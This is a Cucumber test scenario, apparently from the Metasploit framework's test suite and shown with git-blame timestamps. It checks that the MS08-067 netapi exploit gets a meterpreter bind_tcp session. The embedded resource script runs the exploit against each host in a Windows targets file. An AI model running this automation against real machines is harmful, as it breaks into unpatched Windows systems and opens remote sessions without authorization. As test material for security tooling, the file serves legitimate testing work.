2015-12-30 20:57:41 +00:00
|
|
|
@targets
|
2014-08-13 21:54:29 +00:00
|
|
|
Feature: MS08-067 netapi
|
2014-08-19 20:06:47 +00:00
|
|
|
|
2014-09-02 23:57:55 +00:00
|
|
|
Background:
|
2014-09-11 21:51:49 +00:00
|
|
|
Given a directory named "home"
|
|
|
|
And I cd to "home"
|
|
|
|
And a mocked home directory
|
2014-10-29 18:21:31 +00:00
|
|
|
|
2015-12-30 20:57:41 +00:00
|
|
|
Scenario: The MS08-067 should get a session with bind_tcp
|
|
|
|
Given I ready the windows targets
|
|
|
|
And a file named "ms08-067.rc" with:
|
2014-09-11 21:51:49 +00:00
|
|
|
"""
|
2015-12-30 20:57:41 +00:00
|
|
|
<ruby>
|
|
|
|
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
|
|
|
|
self.run_single('use exploit/windows/smb/ms08_067_netapi')
|
|
|
|
self.run_single('set payload windows/meterpreter/bind_tcp')
|
|
|
|
hosts['windows'].each do |host|
|
|
|
|
self.run_single("set RHOST #{host['ip']}")
|
|
|
|
self.run_single('run')
|
|
|
|
sleep 1
|
|
|
|
end
|
|
|
|
|
|
|
|
</ruby>
|
2014-09-11 21:51:49 +00:00
|
|
|
"""
|
2015-12-30 20:57:41 +00:00
|
|
|
When I run `msfconsole --environment test -q -r ms08-067.rc -x exit`
|
|
|
|
Then the output should contain "[*] Exploit completed, 1 session was created."
|